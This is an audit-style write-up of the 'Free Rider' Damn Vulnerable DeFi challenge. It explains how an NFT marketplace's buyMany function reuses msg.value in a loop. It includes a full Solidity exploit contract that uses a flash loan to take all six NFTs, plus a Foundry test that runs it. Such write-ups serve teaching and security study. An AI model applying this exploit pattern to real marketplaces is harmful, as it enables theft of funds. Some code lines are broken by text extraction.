The Free Rider Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `The Free Rider`

Date: August 09, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe, but hold no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	Critical	High	Medium	Low
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `DamnValuableNFT.sol`
- `FreeRiderNFTMarketplace.sol`
- `FreeRiderRecoveryManager.sol`

4 Protocol Summary

`The Free Rider`, A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH. A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don't know how to save them! They're offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.

4.1 Roles

- **FreeRiderNFTMarketplace** Allows users to buy and sell NFTs.
- **FreeRiderRecoveryManager** NFT recovery address.

5 Executive Summary

The Free Rider smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count
High	1
Total	**1**

6 Findings

6.1 High Severity

6.1.1 [H-1] `msg.value` Persistence Exploit in `buyMany` Function

- **Description:** The `FreeRiderNFTMarketplace` protocol lists 6 NFTs for sale at 15 ETH each. A vulnerability in the `buyMany` function allows an attacker to purchase all 6 NFTs for only 15 ETH. The issue arises because the `msg.value` check in the `_buyOne` function does not account for the cumulative cost of multiple NFTs within the loop, allowing an attacker to bypass payment requirements for subsequent NFTs after the initial 15 ETH. The protocol owner has announced a bounty of 45 ETH for anyone who purchases the NFTs and transfers them to the recovery manager.

```
function buyMany( uint256[] calldata tokenIds ) external payable
   nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; ++i) {
            unchecked {
                _buyOne(tokenIds[i]);
            }
        }
    }

function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];

        if (priceToPay == 0) {
            revert TokenNotOffered(tokenId);
        }

        if (msg.value < priceToPay) {
            revert InsufficientPayment();
        }

        --offersCount;

        DamnValuableNFT _token = token;

        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender
            , tokenId);
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
        emit NFTBought(msg.sender, tokenId, priceToPay);
    }
```

- **Impact:** An attacker can exploit this vulnerability to acquire all 6 NFTs for only 15 ETH, resulting in a significant financial loss for the protocol (a shortfall of 75 ETH). This undermines the protocol's economic model and trust in its security.
- **Cause:** The `buyMany` function calls `_buyOne` in a loop without recalculating `msg.value`. Since `_buyOne` only checks `msg.value` against the price of a single NFT and `msg.value` remains constant across all loop iterations, the attacker only needs to provide enough ETH for the first purchase to get all NFTs.
- **Recommended Mitigation:**
  Track the `msg.value` properly to ensure that the total payment matches the sum of all NFT prices in the `buyMany` function, preventing exploitation of the loop.

Resolver Contract:

```
contract Resolver is IERC721Receiver, IERC3156FlashBorrower {
    FreeRiderNFTMarketplace public marketpalace;
    FreeRiderRecoveryManager public recoveryManager;
    DamnValuableNFT public nft;

    constructor(FreeRiderNFTMarketplace _marketPlace) {
        marketpalace = _marketPlace;
        nft = marketpalace.token();
    }

    function setRecoveryManager(
        FreeRiderRecoveryManager _recoveryManager
    ) external {
        require(address(recoveryManager) == address(0), "already-
            set");
        recoveryManager = _recoveryManager;
    }

    function onFlashLoan(
        address,
        address,
        uint256 amount,
        uint256,
        bytes calldata
    ) external override returns (bytes32) {
        uint256[] memory tokenIds = new uint256[](6);

        for (uint256 i = 0; i < 6; i++) {
            tokenIds[i] = i;
        }

        marketpalace.buyMany{value: amount}(tokenIds);
        for (uint256 i = 0; i < 6; i++) {
            bytes memory data = i == 5
                ? abi.encode(address(this))
                : new bytes(0);
            nft.safeTransferFrom(
                address(this),
                address(recoveryManager),
                i,
                data
```

```
            );
        }

        // Repay flash loan

        SafeTransferLib.safeTransferETH(msg.sender, amount); //
            optimized one , Recommended

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    receive() external payable {}

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external override returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

- **Proof of Concept:**
  Run the code in FreeRiderNFTMarketplace.t.sol:

```
function testOfferMany() public {
        uint256[] memory tokenIds = new uint256[](6);
        for (uint256 i = 0; i < mintAmount; i++) {
            tokenIds[i] = i;
        }

        uint256[] memory prices = new uint256[](6);
        for (uint256 i = 0; i < mintAmount; i++) {
            prices[i] = 15;
        }

        vm.startPrank(marketPlaceOwner);
        nft.setApprovalForAll(address(marketPlace), true);
        marketPlace.offerMany(tokenIds, prices);
        vm.stopPrank();

        vm.startPrank(address(resolver), address(resolver)); //
            sets both msg.sender and tx.origin
        pool.flashLoan(IERC3156FlashBorrower(resolver), 15 ether,
            "");
}
```

The End